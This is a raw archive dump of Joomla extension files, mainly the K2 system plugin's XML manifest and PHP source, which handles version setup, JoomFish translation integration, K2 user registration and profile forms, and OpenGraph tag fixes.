	$table = Table::getInstance('extension');
	$table->load($installer->id);
	$table->bind(array('params' => $installer->params->toString()));

	// Store the changes
	if (!$table->store())
	{
		// If there is an error show it to the admin
		Factory::getApplication()->enqueueMessage($table->getError(), 'error');
	}
}
PK!6��a55	k2/k2.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="system" method="upgrade">
    <name>System - K2</name>
    <author>JoomlaWorks</author>
    <creationDate>September 21st, 2018</creationDate>
    <copyright>Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.</copyright>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>www.joomlaworks.net</authorUrl>
    <version>2.9.0</version>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
    <description>K2_THE_K2_SYSTEM_PLUGIN_IS_USED_TO_ASSIST_THE_PROPER_FUNCTIONALITY_OF_THE_K2_COMPONENT_SITE_WIDE_MAKE_SURE_ITS_ALWAYS_PUBLISHED_WHEN_THE_K2_COMPONENT_IS_INSTALLED</description>
    <files>
        <filename plugin="k2">k2.php</filename>
    </files>
</extension>
PK!����	k2/k2.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

jimport('joomla.plugin.plugin');

class plgSystemK2 extends JPlugin
{
    public function onAfterInitialise()
    {
        // Determine Joomla version
        if (version_compare(JVERSION, '3.0', 'ge')) {
            define('K2_JVERSION', '30');
        } elseif (version_compare(JVERSION, '2.5', 'ge')) {
            define('K2_JVERSION', '25');
        } else {
            define('K2_JVERSION', '15');
        }

        // Define K2 version & build here
        define('K2_CURRENT_VERSION', '2.9.0');
        define('K2_BUILD', ''); // Use '' for stable or ' [Dev Build YYYYMMDD]' for the developer build

        // Define the DS constant (for backwards compatibility with old template overrides & 3rd party K2 extensions)
        if (!defined('DS')) {
            define('DS', DIRECTORY_SEPARATOR);
        }

        // Import Joomla classes
        jimport('joomla.filesystem.file');
        jimport('joomla.filesystem.folder');
        jimport('joomla.application.component.controller');
        jimport('joomla.application.component.model');
        jimport('joomla.application.component.view');

        // Get application & K2 component params
        $application = JFactory::getApplication();
        $params = JComponentHelper::getParams('com_k2');

        // Load the K2 classes
        JLoader::register('K2Table', JPATH_ADMINISTRATOR.'/components/com_k2/tables/table.php');
        JLoader::register('K2Controller', JPATH_BASE.'/components/com_k2/controllers/controller.php');
        JLoader::register('K2Model', JPATH_ADMINISTRATOR.'/components/com_k2/models/model.php');
        if ($application->isSite()) {
            K2Model::addIncludePath(JPATH_SITE.'/components/com_k2/models');
        } else {
            // Fix warning under Joomla 1.5 caused by conflict in model names
            if (K2_JVERSION != '15' || (K2_JVERSION == '15' && JRequest::getCmd('option') != 'com_users')) {
                K2Model::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_k2/models');
            }
        }
        JLoader::register('K2View', JPATH_ADMINISTRATOR.'/components/com_k2/views/view.php');
        JLoader::register('K2HelperHTML', JPATH_ADMINISTRATOR.'/components/com_k2/helpers/html.php');
        JLoader::register('K2HelperUtilities', JPATH_SITE.'/components/com_k2/helpers/utilities.php');

        // Define the default Itemid for users and tags (to be removed)
        //define('K2_USERS_ITEMID', $params->get('defaultUsersItemid'));
        //define('K2_TAGS_ITEMID', $params->get('defaultTagsItemid'));

        // Custom HTTP headers
        $user = JFactory::getUser();
        if (!$user->guest) {
            JResponse::setHeader('X-Logged-In', 'True', true);
        } else {
            JResponse::setHeader('X-Logged-In', 'False', true);
        }
        JResponse::setHeader('X-Content-Powered-By', 'K2 v'.K2_CURRENT_VERSION.' (by JoomlaWorks)', true);

        // Define JoomFish compatibility version.
        if (JFile::exists(JPATH_ADMINISTRATOR.'/components/com_joomfish/joomfish.php')) {
            if (K2_JVERSION == '15') {
                $db = JFactory::getDbo();
                $config = JFactory::getConfig();
                $prefix = $config->getValue('config.dbprefix');
                if (array_key_exists($prefix.'_jf_languages_ext', $db->getTableList())) {
                    define('K2_JF_ID', 'lang_id');
                } else {
                    define('K2_JF_ID', 'id');
                }
            } else {
                define('K2_JF_ID', 'lang_id');
            }
        }

        // Backend only
        if (!$application->isAdmin()) {
            return;
        }

        // K2 Metrics
        if ($application->isAdmin() && $params->get('gatherStatistics', 1)) {
            $option = JRequest::getCmd('option');
            $view = JRequest::getCmd('view');
            $viewsToRun = array('items', 'categories', 'tags', 'comments', 'users', 'usergroups', 'extrafields', 'extrafieldsgroups', '');
            if ($option == 'com_k2' && in_array($view, $viewsToRun)) {
                require_once(JPATH_ADMINISTRATOR.'/components/com_k2/helpers/stats.php');
                if (K2HelperStats::shouldLog()) {
                    K2HelperStats::getScripts();
                }
            }
        }

        // --- JoomFish integration [start] ---
        if ((int)K2_JVERSION < 25) {
            $option = JRequest::getCmd('option');
            $task = JRequest::getCmd('task');
            $type = JRequest::getCmd('catid');
        } else {
            $option = JFactory::getApplication()->input->get('option');
            $task = JFactory::getApplication()->input->get('task');
            $type = JRequest::getCmd('catid');
        }
        if ($option == 'com_joomfish') {
            JPlugin::loadLanguage('com_k2', JPATH_ADMINISTRATOR);
            JTable::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_k2/tables');

            if (($task == 'translate.apply' || $task == 'translate.save') && $type == 'k2_items') {
                $language_id = JRequest::getInt('select_language_id');
                $reference_id = JRequest::getInt('reference_id');
                $objects = array();
                $variables = JRequest::get('post');

                foreach ($variables as $key => $value) {
                    if (( bool )JString::stristr($key, 'K2ExtraField_')) {
                        $object = new JObject;
                        $object->set('id', JString::substr($key, 13));
                        $object->set('value', $value);
                        unset($object->_errors);
                        $objects[] = $object;
                    }
                }

                $extra_fields = json_encode($objects);
                $extra_fields_search = '';

                foreach ($objects as $object) {
                    $extra_fields_search .= $this->getSearchValue($object->id, $object->value);
                    $extra_fields_search .= ' ';
                }

                $user = JFactory::getUser();

                $db = JFactory::getDbo();
                $query = "SELECT COUNT(*) FROM #__jf_content WHERE reference_field = 'extra_fields' AND language_id = {$language_id} AND reference_id = {$reference_id} AND reference_table='k2_items'";
                $db->setQuery($query);
                $result = $db->loadResult();

                if ($result > 0) {
                    $query = "UPDATE #__jf_content SET value=".$db->Quote($extra_fields)." WHERE reference_field = 'extra_fields' AND language_id = {$language_id} AND reference_id = {$reference_id} AND reference_table='k2_items'";
                    $db->setQuery($query);
                    $db->query();
                } else {
                    $modified = date("Y-m-d H:i:s");
                    $modified_by = $user->id;
                    $published = JRequest::getVar('published', 0);
                    $query = "INSERT INTO #__jf_content (`id`, `language_id`, `reference_id`, `reference_table`, `reference_field` ,`value`, `original_value`, `original_text`, `modified`, `modified_by`, `published`) VALUES (NULL, {$language_id}, {$reference_id}, 'k2_items', 'extra_fields', ".$db->Quote($extra_fields).", '','', ".$db->Quote($modified).", {$modified_by}, {$published} )";
                    $db->setQuery($query);
                    $db->query();
                }

                $query = "SELECT COUNT(*) FROM #__jf_content WHERE reference_field = 'extra_fields_search' AND language_id = {$language_id} AND reference_id = {$reference_id} AND reference_table='k2_items'";
                $db->setQuery($query);
                $result = $db->loadResult();

                if ($result > 0) {
                    $query = "UPDATE #__jf_content SET value=".$db->Quote($extra_fields_search)." WHERE reference_field = 'extra_fields_search' AND language_id = {$language_id} AND reference_id = {$reference_id} AND reference_table='k2_items'";
                    $db->setQuery($query);
                    $db->query();
                } else {
                    $modified = date("Y-m-d H:i:s");
                    $modified_by = $user->id;
                    $published = JRequest::getVar('published', 0);
                    $query = "INSERT INTO #__jf_content (`id`, `language_id`, `reference_id`, `reference_table`, `reference_field` ,`value`, `original_value`, `original_text`, `modified`, `modified_by`, `published`) VALUES (NULL, {$language_id}, {$reference_id}, 'k2_items', 'extra_fields_search', ".$db->Quote($extra_fields_search).", '','', ".$db->Quote($modified).", {$modified_by}, {$published} )";
                    $db->setQuery($query);
                    $db->query();
                }
            }

            if (($task == 'translate.edit' || $task == 'translate.apply') && $type == 'k2_items') {
                if ($task == 'translate.edit') {
                    $cid = JRequest::getVar('cid');
                    $array = explode('|', $cid[0]);
                    $reference_id = $array[1];
                }

                if ($task == 'translate.apply') {
                    $reference_id = JRequest::getInt('reference_id');
                }

                $item = JTable::getInstance('K2Item', 'Table');
                $item->load($reference_id);
                $category_id = $item->catid;
                $language_id = JRequest::getInt('select_language_id');
                $category = JTable::getInstance('K2Category', 'Table');
                $category->load($category_id);
                $group = $category->extraFieldsGroup;
                $db = JFactory::getDbo();
                $query = "SELECT * FROM #__k2_extra_fields WHERE `group`=".$db->Quote($group)." AND published=1 ORDER BY ordering";
                $db->setQuery($query);
                $extraFields = $db->loadObjectList();

                $output = '';
                if (count($extraFields)) {
                    $output .= '<h1>'.JText::_('K2_EXTRA_FIELDS').'</h1>';
                    $output .= '<h2>'.JText::_('K2_ORIGINAL').'</h2>';
                    foreach ($extraFields as $extrafield) {
                        $extraField = json_decode($extrafield->value);
                        $output .= trim($this->renderOriginal($extrafield, $reference_id));
                    }
                }

                if (count($extraFields)) {
                    $output .= '<h2>'.JText::_('K2_TRANSLATION').'</h2>';
                    foreach ($extraFields as $extrafield) {
                        $extraField = json_decode($extrafield->value);
                        $output .= trim($this->renderTranslated($extrafield, $reference_id));
                    }
                }

                $pattern = '/\r\n|\r|\n/';

                // Load CSS & JS
                if (K2_JVERSION == '15') {
                    JHTML::_('behavior.mootools');
                } else {
                    JHTML::_('behavior.framework');
                }
                $document = JFactory::getDocument();
                $document->addScriptDeclaration("
					window.addEvent('domready', function(){
						var target = $$('table.adminform');
						target.setProperty('id', 'adminform');
						var div = new Element('div', {'id': 'K2ExtraFields'}).setHTML('".preg_replace($pattern, '', $output)."').injectInside($('adminform'));
					});
				");
            }

            if (($task == 'translate.apply' || $task == 'translate.save') && $type == 'k2_extra_fields') {
                $language_id = JRequest::getInt('select_language_id');
                $reference_id = JRequest::getInt('reference_id');
                $extraFieldType = JRequest::getVar('extraFieldType');

                $objects = array();
                $values = JRequest::getVar('option_value');
                $names = JRequest::getVar('option_name');
                $target = JRequest::getVar('option_target');

                for ($i = 0; $i < sizeof($values); $i++) {
                    $object = new JObject;
                    $object->set('name', $names[$i]);

                    if ($extraFieldType == 'select' || $extraFieldType == 'multipleSelect' || $extraFieldType == 'radio') {
                        $object->set('value', $i + 1);
                    } elseif ($extraFieldType == 'link') {
                        if (substr($values[$i], 0, 7) == 'http://') {
                            $values[$i] = $values[$i];
                        } else {
                            $values[$i] = 'http://'.$values[$i];
                        }
                        $object->set('value', $values[$i]);
                    } else {
                        $object->set('value', $values[$i]);
                    }

                    $object->set('target', $target[$i]);
                    unset($object->_errors);
                    $objects[] = $object;
                }

                $value = json_encode($objects);

                $user = JFactory::getUser();

                $db = JFactory::getDbo();
                $query = "SELECT COUNT(*) FROM #__jf_content WHERE reference_field = 'value' AND language_id = {$language_id} AND reference_id = {$reference_id} AND reference_table='k2_extra_fields'";
                $db->setQuery($query);
                $result = $db->loadResult();

                if ($result > 0) {
                    $query = "UPDATE #__jf_content SET value=".$db->Quote($value)." WHERE reference_field = 'value' AND language_id = {$language_id} AND reference_id = {$reference_id} AND reference_table='k2_extra_fields'";
                    $db->setQuery($query);
                    $db->query();
                } else {
                    $modified = date("Y-m-d H:i:s");
                    $modified_by = $user->id;
                    $published = JRequest::getVar('published', 0);
                    $query = "INSERT INTO #__jf_content (`id`, `language_id`, `reference_id`, `reference_table`, `reference_field` ,`value`, `original_value`, `original_text`, `modified`, `modified_by`, `published`) VALUES (NULL, {$language_id}, {$reference_id}, 'k2_extra_fields', 'value', ".$db->Quote($value).", '','', ".$db->Quote($modified).", {$modified_by}, {$published} )";
                    $db->setQuery($query);
                    $db->query();
                }
            }

            if (($task == 'translate.edit' || $task == 'translate.apply') && $type == 'k2_extra_fields') {
                if ($task == 'translate.edit') {
                    $cid = JRequest::getVar('cid');
                    $array = explode('|', $cid[0]);
                    $reference_id = $array[1];
                }

                if ($task == 'translate.apply') {
                    $reference_id = JRequest::getInt('reference_id');
                }

                $extraField = JTable::getInstance('K2ExtraField', 'Table');
                $extraField->load($reference_id);
                $language_id = JRequest::getInt('select_language_id');

                if ($extraField->type == 'multipleSelect' || $extraField->type == 'select' || $extraField->type == 'radio') {
                    $subheader = '<strong>'.JText::_('K2_OPTIONS').'</strong>';
                } else {
                    $subheader = '<strong>'.JText::_('K2_DEFAULT_VALUE').'</strong>';
                }

                $objects = json_decode($extraField->value);
                $output = '<input type="hidden" value="'.$extraField->type.'" name="extraFieldType" />';
                if (count($objects)) {
                    $output .= '<h1>'.JText::_('K2_EXTRA_FIELDS').'</h1>';
                    $output .= '<h2>'.JText::_('K2_ORIGINAL').'</h2>';
                    $output .= $subheader.'<br />';

                    foreach ($objects as $object) {
                        $output .= '<p>'.$object->name.'</p>';
                        if ($extraField->type == 'textfield' || $extraField->type == 'textarea') {
                            $output .= '<p>'.$object->value.'</p>';
                        }
                    }
                }

                $db = JFactory::getDbo();
                $query = "SELECT `value` FROM #__jf_content WHERE reference_field = 'value' AND language_id = {$language_id} AND reference_id = {$reference_id} AND reference_table='k2_extra_fields'";
                $db->setQuery($query);
                $result = $db->loadResult();

                $translatedObjects = json_decode($result);

                if (count($objects)) {
                    $output .= '<h2>'.JText::_('K2_TRANSLATION').'</h2>';
                    $output .= $subheader.'<br />';
                    foreach ($objects as $key => $value) {
                        if (isset($translatedObjects[$key])) {
                            $value = $translatedObjects[$key];
                        }

                        if ($extraField->type == 'textarea') {
                            $output .= '<p><textarea name="option_name[]" cols="30" rows="15"> '.$value->name.'</textarea></p>';
                        } else {
                            $output .= '<p><input type="text" name="option_name[]" value="'.$value->name.'" /></p>';
                        }
                        $output .= '<p><input type="hidden" name="option_value[]" value="'.$value->value.'" /></p>';
                        $output .= '<p><input type="hidden" name="option_target[]" value="'.$value->target.'" /></p>';
                    }
                }

                $pattern = '/\r\n|\r|\n/';

                // Load CSS & JS
                if (K2_JVERSION == '15') {
                    JHTML::_('behavior.mootools');
                } else {
                    JHtml::_('behavior.framework');
                }
                $document = JFactory::getDocument();
                $document->addScriptDeclaration("
					window.addEvent('domready', function(){
						var target = $$('table.adminform');
						target.setProperty('id', 'adminform');
						var div = new Element('div', {'id': 'K2ExtraFields'}).setHTML('".preg_replace($pattern, '', $output)."').injectInside($('adminform'));
					});
				");
            }
        }
        // --- JoomFish integration [finish] ---

        return;
    }

    public function onAfterRoute()
    {
        $application = JFactory::getApplication();
        $document = JFactory::getDocument();
        $user = JFactory::getUser();

        $params = JComponentHelper::getParams('com_k2');

        $basepath = ($application->isSite()) ? JPATH_SITE : JPATH_ADMINISTRATOR;
        JPlugin::loadLanguage('com_k2', $basepath);
        if (K2_JVERSION != '15') {
            JPlugin::loadLanguage('com_k2.dates', JPATH_ADMINISTRATOR, null, true);
        }

        if ($application->isAdmin() || (JRequest::getCmd('option') == 'com_k2' && (JRequest::getCmd('task') == 'add' || JRequest::getCmd('task') == 'edit'))) {
            return;
        }

        // Load required CSS & JS
        K2HelperHTML::loadHeadIncludes();
    }

    public function onAfterDispatch()
    {
        $application = JFactory::getApplication();

        if ($application->isAdmin()) {
            return;
        }

        $params = JComponentHelper::getParams('com_k2');
        if (!$params->get('K2UserProfile')) {
            return;
        }

        $document = JFactory::getDocument();

        $option = JRequest::getCmd('option');
        $view = JRequest::getCmd('view');
        $task = JRequest::getCmd('task');
        $layout = JRequest::getCmd('layout');
        $user = JFactory::getUser();

        if (K2_JVERSION != '15') {
            $active = JFactory::getApplication()->getMenu()->getActive();
            if (isset($active->query['layout'])) {
                $layout = $active->query['layout'];
            }
        }

        // Extend user forms with K2 fields
        if (($option == 'com_user' && $view == 'register') || ($option == 'com_users' && $view == 'registration')) {
            if ($params->get('recaptchaOnRegistration') && $params->get('recaptcha_public_key')) {
                if ($params->get('recaptchaV2')) {
                    $document->addScript('https://www.google.com/recaptcha/api.js?onload=onK2RecaptchaLoaded&render=explicit');
                    $document->addScriptDeclaration('
					/* K2 - Google reCAPTCHA */
					function onK2RecaptchaLoaded(){
						grecaptcha.render("recaptcha", {"sitekey": "'.$params->get('recaptcha_public_key').'"});
					}
					');
                    $recaptchaClass = 'k2-recaptcha-v2';
                } else {
                    $document->addScript('https://www.google.com/recaptcha/api/js/recaptcha_ajax.js');
                    $document->addScriptDeclaration('
						function showRecaptcha(){
							Recaptcha.create("'.$params->get('recaptcha_public_key').'", "recaptcha", {
								theme: "'.$params->get('recaptcha_theme', 'clean').'"
							});
						}
						$K2(document).ready(function() {
							showRecaptcha();
						});
					');
                    $recaptchaClass = 'k2-recaptcha-v1';
                }
            }

            if (!$user->guest) {
                $application->enqueueMessage(JText::_('K2_YOU_ARE_ALREADY_REGISTERED_AS_A_MEMBER'), 'notice');
                $application->redirect(JURI::root());
                $application->close();
            }
            if (K2_JVERSION != '15') {
                require_once(JPATH_SITE.'/components/com_users/controller.php');
                $controller = new UsersController;
            } else {
                require_once(JPATH_SITE.'/components/com_user/controller.php');
                $controller = new UserController;
            }

            $view = $controller->getView($view, 'html');
            $view->addTemplatePath(JPATH_SITE.'/components/com_k2/templates');
            $view->addTemplatePath(JPATH_SITE.'/templates/'.$application->getTemplate().'/html/com_k2/templates');
            $view->addTemplatePath(JPATH_SITE.'/templates/'.$application->getTemplate().'/html/com_k2');
            // Allow temporary template loading with ?template=
            $template = JRequest::getCmd('template');
            if (isset($template)) {
                $view->addTemplatePath(JPATH_SITE.'/templates/'.$template.'/html/com_k2');
            }

            $view->setLayout('register');

            $K2User = new JObject;

            $K2User->description = '';
            $K2User->gender = 'm';
            $K2User->image = '';
            $K2User->url = '';
            $K2User->plugins = '';

            $wysiwyg = JFactory::getEditor();
            $editor = $wysiwyg->display('description', $K2User->description, '100%', '250px', '', '', false);
            $view->assignRef('editor', $editor);

            $lists = array();
            $genderOptions[] = JHTML::_('select.option', 'm', JText::_('K2_MALE'));
            $genderOptions[] = JHTML::_('select.option', 'f', JText::_('K2_FEMALE'));
            $lists['gender'] = JHTML::_('select.radiolist', $genderOptions, 'gender', '', 'value', 'text', $K2User->gender);

            $view->assignRef('lists', $lists);
            $view->assignRef('K2Params', $params);
            $view->assignRef('recaptchaClass', $recaptchaClass);

            JPluginHelper::importPlugin('k2');
            $dispatcher = JDispatcher::getInstance();
            $K2Plugins = $dispatcher->trigger('onRenderAdminForm', array(
                &$K2User,
                'user'
            ));
            $view->assignRef('K2Plugins', $K2Plugins);

            $view->assignRef('K2User', $K2User);
            if (K2_JVERSION != '15') {
                $view->assignRef('user', $user);
            }
            $pathway = $application->getPathway();
            $pathway->setPathway(null);

            $nameFieldName = K2_JVERSION != '15' ? 'jform[name]' : 'name';
            $view->assignRef('nameFieldName', $nameFieldName);
            $usernameFieldName = K2_JVERSION != '15' ? 'jform[username]' : 'username';
            $view->assignRef('usernameFieldName', $usernameFieldName);
            $emailFieldName = K2_JVERSION != '15' ? 'jform[email1]' : 'email';
            $view->assignRef('emailFieldName', $emailFieldName);
            $passwordFieldName = K2_JVERSION != '15' ? 'jform[password1]' : 'password';
            $view->assignRef('passwordFieldName', $passwordFieldName);
            $passwordVerifyFieldName = K2_JVERSION != '15' ? 'jform[password2]' : 'password2';
            $view->assignRef('passwordVerifyFieldName', $passwordVerifyFieldName);
            $optionValue = K2_JVERSION != '15' ? 'com_users' : 'com_user';
            $view->assignRef('optionValue', $optionValue);
            $taskValue = K2_JVERSION != '15' ? 'registration.register' : 'register_save';
            $view->assignRef('taskValue', $taskValue);
            ob_start();
            $view->display();
            $contents = ob_get_clean();
            $document->setBuffer($contents, 'component');
        }

        if (($option == 'com_user' && $view == 'user' && ($task == 'edit' || $layout == 'form')) || ($option == 'com_users' && $view == 'profile' && ($layout == 'edit' || $task == 'profile.edit'))) {
            if ($user->guest) {
                $uri = JFactory::getURI();

                if (K2_JVERSION != '15') {
                    $url = 'index.php?option=com_users&view=login&return='.base64_encode($uri->toString());
                } else {
                    $url = 'index.php?option=com_user&view=login&return='.base64_encode($uri->toString());
                }
                $application->enqueueMessage(JText::_('K2_YOU_NEED_TO_LOGIN_FIRST'), 'notice');
                $application->redirect(JRoute::_($url, false));
            }

            if (K2_JVERSION != '15') {
                require_once(JPATH_SITE.'/components/com_users/controller.php');
                $controller = new UsersController;
            } else {
                require_once(JPATH_SITE.'/components/com_user/controller.php');
                $controller = new UserController;
            }

            $view = $controller->getView($view, 'html');
            $view->addTemplatePath(JPATH_SITE.'/components/com_k2/templates');
            $view->addTemplatePath(JPATH_SITE.'/templates/'.$application->getTemplate().'/html/com_k2/templates');
            $view->addTemplatePath(JPATH_SITE.'/templates/'.$application->getTemplate().'/html/com_k2');
            // Allow temporary template loading with ?template=
            $template = JRequest::getCmd('template');
            if (isset($template)) {
                $view->addTemplatePath(JPATH_SITE.'/templates/'.$template.'/html/com_k2');
            }

            $view->setLayout('profile');

            $model = K2Model::getInstance('Itemlist', 'K2Model');
            $K2User = $model->getUserProfile($user->id);
            if (!is_object($K2User)) {
                $K2User = new Jobject;
                $K2User->description = '';
                $K2User->gender = 'm';
                $K2User->url = '';
                $K2User->image = null;
            }
            if (K2_JVERSION == '15') {
                JFilterOutput::objectHTMLSafe($K2User);
            } else {
                JFilterOutput::objectHTMLSafe($K2User, ENT_QUOTES, array(
                    'params',
                    'plugins'
                ));
            }
            $wysiwyg = JFactory::getEditor();
            $editor = $wysiwyg->display('description', $K2User->description, '100%', '250px', '', '', false);
            $view->assignRef('editor', $editor);

            $lists = array();
            $genderOptions[] = JHTML::_('select.option', 'm', JText::_('K2_MALE'));
            $genderOptions[] = JHTML::_('select.option', 'f', JText::_('K2_FEMALE'));
            $lists['gender'] = JHTML::_('select.radiolist', $genderOptions, 'gender', '', 'value', 'text', $K2User->gender);

            $view->assignRef('lists', $lists);

            JPluginHelper::importPlugin('k2');
            $dispatcher = JDispatcher::getInstance();
            $K2Plugins = $dispatcher->trigger('onRenderAdminForm', array(
                &$K2User,
                'user'
            ));
            $view->assignRef('K2Plugins', $K2Plugins);

            $view->assignRef('K2User', $K2User);

            // Asssign some variables depending on Joomla version
            $nameFieldName = K2_JVERSION != '15' ? 'jform[name]' : 'name';
            $view->assignRef('nameFieldName', $nameFieldName);
            $emailFieldName = K2_JVERSION != '15' ? 'jform[email1]' : 'email';
            $view->assignRef('emailFieldName', $emailFieldName);
            $passwordFieldName = K2_JVERSION != '15' ? 'jform[password1]' : 'password';
            $view->assignRef('passwordFieldName', $passwordFieldName);
            $passwordVerifyFieldName = K2_JVERSION != '15' ? 'jform[password2]' : 'password2';
            $view->assignRef('passwordVerifyFieldName', $passwordVerifyFieldName);
            $usernameFieldName = K2_JVERSION != '15' ? 'jform[username]' : 'username';
            $view->assignRef('usernameFieldName', $usernameFieldName);
            $idFieldName = K2_JVERSION != '15' ? 'jform[id]' : 'id';
            $view->assignRef('idFieldName', $idFieldName);
            $optionValue = K2_JVERSION != '15' ? 'com_users' : 'com_user';
            $view->assignRef('optionValue', $optionValue);
            $taskValue = K2_JVERSION != '15' ? 'profile.save' : 'save';
            $view->assignRef('taskValue', $taskValue);

            ob_start();
            if (K2_JVERSION != '15') {
                $active = JFactory::getApplication()->getMenu()->getActive();
                if (isset($active->query['layout']) && $active->query['layout'] != 'profile') {
                    $active->query['layout'] = 'profile';
                }
                $view->assignRef('user', $user);
                $view->display();
            } else {
                $view->_displayForm();
            }
            $contents = ob_get_clean();
            $document->setBuffer($contents, 'component');
        }
    }

    public function onAfterRender()
    {
        $application = JFactory::getApplication();
        $params = JComponentHelper::getParams('com_k2');

        // Fix OpenGraph meta tags
        if ($application->isSite() && $params->get('facebookMetatags', 1)) {
            $response = JResponse::getBody();
            $searches = array(
                '<meta name="og:url"',
                '<meta name="og:title"',
                '<meta name="og:type"',
                '<meta name="og:image"',
                '<meta name="og:description"'
            );
            $replacements = array(
                '<meta property="og:url"',
                '<meta property="og:title"',
                '<meta property="og:type"',
                '<meta property="og:image"',
                '<meta property="og:description"'
            );
            if (JString::strpos($response, 'prefix="og: http://ogp.me/ns#"') === false) {
                $searches[] = '<html ';
                $searches[] = '<html>';
                $replacements[] = '<html prefix="og: http://ogp.me/ns#" ';
                $replacements[] = '<html prefix="og: http://ogp.me/ns#">';
            }
            $response = JString::str_ireplace($searches, $replacements, $response);
            JResponse::setBody($response);
        }
    }

    /* ============================================ */
    /* ============= Helper Functions ============= */
    /* ============================================ */
    public function getSearchValue($id, $currentValue)
    {
        JTable::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_k2/tables');
        $row = JTable::getInstance('K2ExtraField', 'Table');
        $row->load($id);
        $jsonObject = json_decode($row->value);
        $value = '';
        if ($row->type == 'textfield' || $row->type == 'textarea') {
            $value = $currentValue;
        } elseif ($row->type == 'multipleSelect' || $row->type == 'link') {
            foreach ($jsonObject as $option) {
                if (@in_array($option->value, $currentValue)) {
                    $value .= $option->name.' ';
                }
            }
        } else {
            foreach ($jsonObject as $option) {
                if ($option->value == $currentValue) {
                    $value .= $option->name;
                }
            }
        }
        return $value;
    }

    public function renderOriginal($extraField, $itemID)
    {
        $application = JFactory::getApplication();
        JTable::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_k2/tables');
        $item = JTable::getInstance('K2Item', 'Table');
        $item->load($itemID);

        $defaultValues = json_decode($extraField->value);

        foreach ($defaultValues as $value) {
            if ($extraField->type == 'textfield' || $extraField->type == 'textarea') {
                $active = $value->value;
            } elseif ($extraField->type == 'link') {
                $active[0] = $value->name;
                $active[1] = $value->value;
                $active[2] = $value->target;
            } else {
                $active = '';
            }
        }

        if (isset($item)) {
            $currentValues = json_decode($item->extra_fields);
            if (count($currentValues)) {
                foreach ($currentValues as $value) {
                    if ($value->id == $extraField->id) {
                        $active = $value->value;
                    }
                }
            }
        }

        $output = '';

        switch ($extraField->type) {
            case 'textfield':
                $output = '<div><strong>'.$extraField->name.'</strong><br /><input type="text" disabled="disabled" name="OriginalK2ExtraField_'.$extraField->id.'" value="'.$active.'" /></div><br /><br />';
                break;

            case 'textarea':
                $output = '<div><strong>'.$extraField->name.'</strong><br /><textarea disabled="disabled" name="OriginalK2ExtraField_'.$extraField->id.'" rows="10" cols="40">'.$active.'</textarea></div><br /><br />';
                break;

            case 'link':
                $output = '<div><strong>'.$extraField->name.'</strong><br /><input disabled="disabled" type="text" name="OriginalK2ExtraField_'.$extraField->id.'[]" value="'.$active[0].'" /></div><br /><br />';
                break;
        }

        return $output;
    }

    public function renderTranslated($extraField, $itemID)
    {
        $application = JFactory::getApplication();
        JTable::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_k2/tables');
        $item = JTable::getInstance('K2Item', 'Table');
        $item->load($itemID);

        $defaultValues = json_decode($extraField->value);

        foreach ($defaultValues as $value) {
            if ($extraField->type == 'textfield' || $extraField->type == 'textarea') {
                $active = $value->value;
            } elseif ($extraField->type == 'link') {
                $active[0] = $value->name;
                $active[1] = $value->value;
                $active[2] = $value->target;
            } else {
                $active = '';
            }
        }

        if (isset($item)) {
            $currentValues = json_decode($item->extra_fields);
            if (count($currentValues)) {
                foreach ($currentValues as $value) {
                    if ($value->id == $extraField->id) {
                        $active = $value->value;
                    }
                }
            }
        }

        $language_id = JRequest::getInt('select_language_id');
        $db = JFactory::getDbo();
        $query = "SELECT `value` FROM #__jf_content WHERE reference_field = 'extra_fields' AND language_id = {$language_id} AND reference_id = {$itemID} AND reference_table='k2_items'";
        $db->setQuery($query);
        $result = $db->loadResult();
        $currentValues = json_decode($result);
        if (count($currentValues)) {
            foreach ($currentValues as $value) {
                if ($value->id == $extraField->id) {
                    $active = $value->value;
                }
            }
        }

        $output = '';

        switch ($extraField->type) {

            case 'textfield':
                $output = '<div><strong>'.$extraField->name.'</strong><br /><input type="text" name="K2ExtraField_'.$extraField->id.'" value="'.$active.'" /></div><br /><br />';
                break;

            case 'textarea':
                $output = '<div><strong>'.$extraField->name.'</strong><br /><textarea name="K2ExtraField_'.$extraField->id.'" rows="10" cols="40">'.$active.'</textarea></div><br /><br />';
                break;

            case 'select':
                $output = '<div style="display:none;">'.JHTML::_('select.genericlist', $defaultValues, 'K2ExtraField_'.$extraField->id, '', 'value', 'name', $active).'</div>';
                break;

            case 'multipleSelect':
                $output = '<div style="display:none;">'.JHTML::_('select.genericlist', $defaultValues, 'K2ExtraField_'.$extraField->id.'[]', 'multiple="multiple"', 'value', 'name', $active).'</div>';
                break;

            case 'radio':
                $output = '<div style="display:none;">'.JHTML::_('select.radiolist', $defaultValues, 'K2ExtraField_'.$extraField->id, '', 'value', 'name', $active).'</div>';
                break;

            case 'link':
                $output = '<div><strong>'.$extraField->name.'</strong><br /><input type="text" name="K2ExtraField_'.$extraField->id.'[]" value="'.$active[0].'" /><br /><input type="hidden" name="K2ExtraField_'.$extraField->id.'[]" value="'.$active[1].'" /><br /><input type="hidden" name="K2ExtraField_'.$extraField->id.'[]" value="'.$active[2].'" /></div><br /><br />';
                break;
        }

        return $output;
    }
}
PK!��=�pplog/log.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_log</name>
	<author>Joomla! Project</author>
	<creationDate>April 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_LOG_XML_DESCRIPTION</description>
	<files>
		<filename plugin="log">log.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/plg_system_log.ini</language>
